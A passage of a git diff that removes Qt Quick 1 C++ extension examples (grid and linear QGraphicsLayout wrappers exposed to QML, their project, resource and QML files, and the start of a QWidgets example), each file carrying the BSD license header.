columnMinimumWidth() const { return m_colMinwidth; } - void setColumnMinimumWidth(int s) { m_colMinwidth = s; } - - int columnFixedWidth() const { return m_colFixwidth; } - void setColumnFixedWidth(int s) { m_colFixwidth = s; } - -signals: - void alignmentChanged(QGraphicsLayoutItem*, Qt::Alignment); - -private: - int m_row; - int m_column; - - int m_rowspan; - int m_colspan; - Qt::Alignment m_alignment; - - int m_rowStretch; - int m_colStretch; - int m_rowSpacing; - int m_colSpacing; - - int m_rowPrefHeight; - int m_rowMaxHeight; - int m_rowMinHeight; - int m_rowFixHeight; - - int m_colPrefwidth; - int m_colMaxwidth; - int m_colMinwidth; - int m_colFixwidth; -}; - -QML_DECLARE_INTERFACE(QGraphicsLayoutItem) -QML_DECLARE_INTERFACE(QGraphicsLayout) -QML_DECLARE_TYPE(GraphicsGridLayoutObject) -QML_DECLARE_TYPEINFO(GraphicsGridLayoutObject, QML_HAS_ATTACHED_PROPERTIES) - -#endif - diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.qrc b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.qrc deleted file mode 100644 index bdf8312124..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.qrc +++ /dev/null @@ -1,6 +0,0 @@ - - - qgraphicsgridlayout.qml - - - diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicsgridlayout/main.cpp b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicsgridlayout/main.cpp deleted file mode 100644 index 77c400e17b..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicsgridlayout/main.cpp +++ /dev/null @@ -1,63 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the plugins of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "gridlayout.h" - -#include -#include - -#include - -int main(int argc, char* argv[]) -{ - QApplication app(argc, argv); - - qmlRegisterInterface("QGraphicsLayoutItem"); - qmlRegisterInterface("QGraphicsLayout"); - qmlRegisterType("GridLayouts", 4, 7, "GraphicsGridLayout"); - - QDeclarativeView view; - view.setSource(QUrl(":qgraphicsgridlayout.qml")); - view.show(); - - return app.exec(); -}; - - diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicsgridlayout/qgraphicsgridlayout.pro b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicsgridlayout/qgraphicsgridlayout.pro deleted file mode 100644 index 2d9e7bc04e..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicsgridlayout/qgraphicsgridlayout.pro +++ /dev/null @@ -1,15 +0,0 @@ -TEMPLATE = app -TARGET = qgraphicsgridlayout -QT += declarative qtquick1 - -SOURCES += \ - gridlayout.cpp \ - main.cpp - -HEADERS += \ - gridlayout.h - -RESOURCES += \ - gridlayout.qrc - - diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicsgridlayout/qgraphicsgridlayout.qml b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicsgridlayout/qgraphicsgridlayout.qml deleted file mode 100644 index 2d86c38687..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicsgridlayout/qgraphicsgridlayout.qml +++ /dev/null @@ -1,100 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import GridLayouts 4.7 - -Item { - width: 400 - height: 400 - - QGraphicsWidget { - size.width: parent.width - size.height: parent.height - - /* - Below we create a grid layout using the GraphicsGridLayout item - (defined by the GraphicsGridLayoutObject class in gridlayout.h). - - The row, column etc. are set through attached properties on - GraphicsGridLayout, using the properties defined in the - GridLayoutAttached class (also defined in gridlayout.h). - */ - - layout: GraphicsGridLayout { - LayoutItem { - GraphicsGridLayout.row: 0 - GraphicsGridLayout.column: 0 - minimumSize: "100x100" - maximumSize: "300x300" - preferredSize: "200x200" - Rectangle { color: "red"; anchors.fill: parent } - } - LayoutItem { - GraphicsGridLayout.row: 0 - GraphicsGridLayout.column: 1 - minimumSize: "100x100" - maximumSize: "200x200" - preferredSize: "200x200" - Rectangle { color: "orange"; anchors.fill: parent } - } - LayoutItem { - GraphicsGridLayout.row: 1 - GraphicsGridLayout.column: 0 - GraphicsGridLayout.columnSpan: 2 - minimumSize: "100x100" - Rectangle { color: "yellow"; anchors.fill: parent } - } - LayoutItem { - GraphicsGridLayout.row: 2 - GraphicsGridLayout.column: 0 - preferredSize: "200x200" - Rectangle { color: "green"; anchors.fill: parent } - } - LayoutItem { - GraphicsGridLayout.row: 2 - GraphicsGridLayout.column: 1 - preferredSize: "200x200" - Rectangle { color: "blue"; anchors.fill: parent } - } - } - } -} - diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslayouts.pro b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslayouts.pro deleted file mode 100644 index 672120a82e..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslayouts.pro +++ /dev/null @@ -1,6 +0,0 @@ -TEMPLATE = subdirs - -SUBDIRS += \ - layoutitem \ - qgraphicsgridlayout \ - qgraphicslinearlayout diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslayouts.qmlproject b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslayouts.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslayouts.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.cpp b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.cpp deleted file mode 100644 index f8f71a23d3..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.cpp +++ /dev/null @@ -1,175 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "linearlayout.h" - -#include -#include - -LinearLayoutAttached::LinearLayoutAttached(QObject *parent) -: QObject(parent), m_stretch(1), m_alignment(Qt::AlignTop), m_spacing(0) -{ -} - -void LinearLayoutAttached::setStretchFactor(int f) -{ - if (m_stretch != f) { - m_stretch = f; - emit stretchChanged(reinterpret_cast(parent()), m_stretch); - } -} - -void LinearLayoutAttached::setSpacing(int s) -{ - if (m_spacing != s) { - m_spacing = s; - emit spacingChanged(reinterpret_cast(parent()), m_spacing); - } -} - -void LinearLayoutAttached::setAlignment(Qt::Alignment a) -{ - if (m_alignment != a) { - m_alignment = a; - emit alignmentChanged(reinterpret_cast(parent()), m_alignment); - } -} - -GraphicsLinearLayoutStretchItemObject::GraphicsLinearLayoutStretchItemObject(QObject *parent) - : QObject(parent) -{ -} - -QSizeF GraphicsLinearLayoutStretchItemObject::sizeHint(Qt::SizeHint which, const QSizeF &constraint) const -{ - Q_UNUSED(which); - Q_UNUSED(constraint); - return QSizeF(); -} - - -GraphicsLinearLayoutObject::GraphicsLinearLayoutObject(QObject *parent) -: QObject(parent) -{ -} - -GraphicsLinearLayoutObject::~GraphicsLinearLayoutObject() -{ -} - -void GraphicsLinearLayoutObject::insertLayoutItem(int index, QGraphicsLayoutItem *item) -{ - insertItem(index, item); - - if (LinearLayoutAttached *obj = attachedProperties.value(item)) { - setStretchFactor(item, obj->stretchFactor()); - setAlignment(item, obj->alignment()); - updateSpacing(item, obj->spacing()); - QObject::connect(obj, SIGNAL(stretchChanged(QGraphicsLayoutItem*,int)), - this, SLOT(updateStretch(QGraphicsLayoutItem*,int))); - QObject::connect(obj, SIGNAL(alignmentChanged(QGraphicsLayoutItem*,Qt::Alignment)), - this, SLOT(updateAlignment(QGraphicsLayoutItem*,Qt::Alignment))); - QObject::connect(obj, SIGNAL(spacingChanged(QGraphicsLayoutItem*,int)), - this, SLOT(updateSpacing(QGraphicsLayoutItem*,int))); - } -} - -void GraphicsLinearLayoutObject::removeAt(int index) -{ - QGraphicsLayoutItem *item = itemAt(index); - if (item) { - LinearLayoutAttached *obj = attachedProperties.value(item); - obj->disconnect(this); - attachedProperties.remove(item); - } - QGraphicsLinearLayout::removeAt(index); -} - -void GraphicsLinearLayoutObject::clearChildren() -{ - // do not delete the removed items; they will be deleted by the QML engine - while (count() > 0) - removeAt(count()-1); -} - -qreal GraphicsLinearLayoutObject::contentsMargin() const -{ - qreal a, b, c, d; - getContentsMargins(&a, &b, &c, &d); - if (a == b && a == c && a == d) - return a; - return -1; -} - -void GraphicsLinearLayoutObject::setContentsMargin(qreal m) -{ - setContentsMargins(m, m, m, m); -} - -void GraphicsLinearLayoutObject::updateStretch(QGraphicsLayoutItem *item, int stretch) -{ - QGraphicsLinearLayout::setStretchFactor(item, stretch); -} - -void GraphicsLinearLayoutObject::updateSpacing(QGraphicsLayoutItem* item, int spacing) -{ - for (int i=0; i < count(); i++){ - if (itemAt(i) == item) { - QGraphicsLinearLayout::setItemSpacing(i, spacing); - return; - } - } -} - -void GraphicsLinearLayoutObject::updateAlignment(QGraphicsLayoutItem *item, Qt::Alignment alignment) -{ - QGraphicsLinearLayout::setAlignment(item, alignment); -} - -QHash GraphicsLinearLayoutObject::attachedProperties; -LinearLayoutAttached *GraphicsLinearLayoutObject::qmlAttachedProperties(QObject *obj) -{ - LinearLayoutAttached *rv = new LinearLayoutAttached(obj); - if (qobject_cast(obj)) - attachedProperties.insert(qobject_cast(obj), rv); - return rv; -} - - diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.h b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.h deleted file mode 100644 index c81fa65df6..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.h +++ /dev/null @@ -1,152 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef LINEARLAYOUT_H -#define LINEARLAYOUT_H - -#include - -#include -#include - -class GraphicsLinearLayoutStretchItemObject : public QObject, public QGraphicsLayoutItem -{ - Q_OBJECT - Q_INTERFACES(QGraphicsLayoutItem) -public: - GraphicsLinearLayoutStretchItemObject(QObject *parent = 0); - - virtual QSizeF sizeHint(Qt::SizeHint, const QSizeF &) const; -}; - - -class LinearLayoutAttached; -class GraphicsLinearLayoutObject : public QObject, public QGraphicsLinearLayout -{ - Q_OBJECT - Q_INTERFACES(QGraphicsLayout QGraphicsLayoutItem) - - Q_PROPERTY(QDeclarativeListProperty children READ children) - Q_PROPERTY(Qt::Orientation orientation READ orientation WRITE setOrientation) - Q_PROPERTY(qreal spacing READ spacing WRITE setSpacing) - Q_PROPERTY(qreal contentsMargin READ contentsMargin WRITE setContentsMargin) - Q_CLASSINFO("DefaultProperty", "children") -public: - GraphicsLinearLayoutObject(QObject * = 0); - ~GraphicsLinearLayoutObject(); - - QDeclarativeListProperty children() { return QDeclarativeListProperty(this, 0, children_append, children_count, children_at, children_clear); } - - qreal contentsMargin() const; - void setContentsMargin(qreal); - - void removeAt(int index); - - static LinearLayoutAttached *qmlAttachedProperties(QObject *); - -private slots: - void updateStretch(QGraphicsLayoutItem*,int); - void updateSpacing(QGraphicsLayoutItem*,int); - void updateAlignment(QGraphicsLayoutItem*,Qt::Alignment); - -private: - friend class LinearLayoutAttached; - - void clearChildren(); - void insertLayoutItem(int, QGraphicsLayoutItem *); - - static void children_append(QDeclarativeListProperty *prop, QGraphicsLayoutItem *item) { - static_cast(prop->object)->insertLayoutItem(-1, item); - } - - static void children_clear(QDeclarativeListProperty *prop) { - static_cast(prop->object)->clearChildren(); - } - - static int children_count(QDeclarativeListProperty *prop) { - return static_cast(prop->object)->count(); - } - - static QGraphicsLayoutItem *children_at(QDeclarativeListProperty *prop, int index) { - return static_cast(prop->object)->itemAt(index); - } - - static QHash attachedProperties; -}; - - -class LinearLayoutAttached : public QObject -{ - Q_OBJECT - - Q_PROPERTY(int stretchFactor READ stretchFactor WRITE setStretchFactor NOTIFY stretchChanged) - Q_PROPERTY(Qt::Alignment alignment READ alignment WRITE setAlignment NOTIFY alignmentChanged) - Q_PROPERTY(int spacing READ spacing WRITE setSpacing NOTIFY spacingChanged) - -public: - LinearLayoutAttached(QObject *parent); - - int stretchFactor() const { return m_stretch; } - void setStretchFactor(int f); - Qt::Alignment alignment() const { return m_alignment; } - void setAlignment(Qt::Alignment a); - int spacing() const { return m_spacing; } - void setSpacing(int s); - -signals: - void stretchChanged(QGraphicsLayoutItem*, int); - void alignmentChanged(QGraphicsLayoutItem*, Qt::Alignment); - void spacingChanged(QGraphicsLayoutItem*, int); - -private: - int m_stretch; - Qt::Alignment m_alignment; - int m_spacing; -}; - -QML_DECLARE_INTERFACE(QGraphicsLayoutItem) -QML_DECLARE_INTERFACE(QGraphicsLayout) -QML_DECLARE_TYPE(GraphicsLinearLayoutStretchItemObject) -QML_DECLARE_TYPE(GraphicsLinearLayoutObject) -QML_DECLARE_TYPEINFO(GraphicsLinearLayoutObject, QML_HAS_ATTACHED_PROPERTIES) - -#endif - - diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.qrc b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.qrc deleted file mode 100644 index 93a3533bfe..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.qrc +++ /dev/null @@ -1,6 +0,0 @@ - - - qgraphicslinearlayout.qml - - - diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslinearlayout/main.cpp b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslinearlayout/main.cpp deleted file mode 100644 index 07a326df26..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslinearlayout/main.cpp +++ /dev/null @@ -1,64 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the plugins of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "linearlayout.h" - -#include -#include - -#include - -int main(int argc, char* argv[]) -{ - QApplication app(argc, argv); - - qmlRegisterInterface("QGraphicsLayoutItem"); - qmlRegisterInterface("QGraphicsLayout"); - qmlRegisterType("LinearLayouts", 4, 7, "GraphicsLinearLayoutStretchItem"); - qmlRegisterType("LinearLayouts", 4, 7, "GraphicsLinearLayout"); - - QDeclarativeView view; - view.setSource(QUrl(":qgraphicslinearlayout.qml")); - view.show(); - - return app.exec(); -}; - - diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslinearlayout/qgraphicslinearlayout.pro b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslinearlayout/qgraphicslinearlayout.pro deleted file mode 100644 index c2e9b57fd1..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslinearlayout/qgraphicslinearlayout.pro +++ /dev/null @@ -1,15 +0,0 @@ -TEMPLATE = app -TARGET = qgraphicslinearlayout -QT += declarative qtquick1 - -SOURCES += \ - linearlayout.cpp \ - main.cpp - -HEADERS += \ - linearlayout.h - -RESOURCES += \ - linearlayout.qrc - - diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslinearlayout/qgraphicslinearlayout.qml b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslinearlayout/qgraphicslinearlayout.qml deleted file mode 100644 index 913bd72377..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicslinearlayout/qgraphicslinearlayout.qml +++ /dev/null @@ -1,79 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import LinearLayouts 4.7 - -Item { - width: 400 - height: 400 - - QGraphicsWidget { - size.width: parent.width - size.height: parent.height - - /* - Below we create a linear layout using the GraphicsLinearLayout item - (defined by the GraphicsLinearLayoutObject class in linearlayout.h). - - The first LayoutItem uses 'GraphicsLinearLayout.spacing' to set the - item's spacing: this is an attached property, set using the - properties defined in the LinearLayoutAttached class (also defined - in linearlayout.h). - */ - - layout: GraphicsLinearLayout { - LayoutItem { - GraphicsLinearLayout.spacing: 50 - minimumSize: "100x100" - maximumSize: "200x200" - preferredSize: "100x100" - Rectangle { color: "yellow"; anchors.fill: parent } - } - LayoutItem { - minimumSize: "100x100" - maximumSize: "400x400" - preferredSize: "300x300" - Rectangle { color: "green"; anchors.fill: parent } - } - } - } -} - diff --git a/examples/declarative/qtquick1/cppextensions/qwidgets/QWidgets/qmldir b/examples/declarative/qtquick1/cppextensions/qwidgets/QWidgets/qmldir deleted file mode 100644 index a7c1d95c76..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qwidgets/QWidgets/qmldir +++ /dev/null @@ -1 +0,0 @@ -plugin qmlqwidgetsplugin diff --git a/examples/declarative/qtquick1/cppextensions/qwidgets/README b/examples/declarative/qtquick1/cppextensions/qwidgets/README deleted file mode 100644 index e2f1b2ba56..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qwidgets/README +++ /dev/null @@ -1,6 +0,0 @@ -This example shows how to embed QWidget-based objects into QML. - -To run: - - make install - qml qwidgets.qml diff --git a/examples/declarative/qtquick1/cppextensions/qwidgets/qwidgets.cpp b/examples/declarative/qtquick1/cppextensions/qwidgets/qwidgets.cpp deleted file mode 100644 index 2230c97f39..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qwidgets/qwidgets.cpp +++ /dev/null @@ -1,96 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, 